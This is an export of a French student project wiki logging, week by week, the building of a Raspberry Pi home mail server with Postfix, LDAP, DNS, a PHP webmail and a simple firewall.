===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix : [http:/// Hold on a second]&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd...) fonctionnels : [http:/// I'm on it, hold on]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27614</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27614"/>
				<updated>2016-02-23T10:34:36Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]&lt;br /&gt;
&lt;br /&gt;
Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.&lt;br /&gt;
&lt;br /&gt;
Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean : &lt;br /&gt;
 dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw&lt;br /&gt;
 uid: jvaljean&lt;br /&gt;
 mail: jvaljean@intimail.pw&lt;br /&gt;
 sn: Valjean&lt;br /&gt;
 givenName: Jean&lt;br /&gt;
 displayName: Jean Valjean&lt;br /&gt;
 mailbox: intimail.pw/jvaljean/&lt;br /&gt;
 homeDirectory: /home/vmail/&lt;br /&gt;
 objectClass: top&lt;br /&gt;
 objectClass: inetOrgPerson&lt;br /&gt;
 objectClass: CourierMailAccount&lt;br /&gt;
 userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg&lt;br /&gt;
&lt;br /&gt;
Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire. &lt;br /&gt;
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.&lt;br /&gt;
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].&lt;br /&gt;
&lt;br /&gt;
Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :&lt;br /&gt;
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)&lt;br /&gt;
* 1,90s sur une  connexion 4G moyenne (15MB/s)&lt;br /&gt;
* 2,80s sur une connexion DSL moyenne (2MB/s)&lt;br /&gt;
* 1,90s sur une connexion Wifi (30MB/s)&lt;br /&gt;
* 1,70s sur une connexion THD (100MB/s)&lt;br /&gt;
Résultats qui semble apporter bon compris poids/qualité de l'interface.&lt;br /&gt;
&lt;br /&gt;
Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache&lt;br /&gt;
 Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(&lt;br /&gt;
&lt;br /&gt;
===Semaine 6 (26/10/2015)===&lt;br /&gt;
==== Firewall ====&lt;br /&gt;
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).&lt;br /&gt;
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.&lt;br /&gt;
&lt;br /&gt;
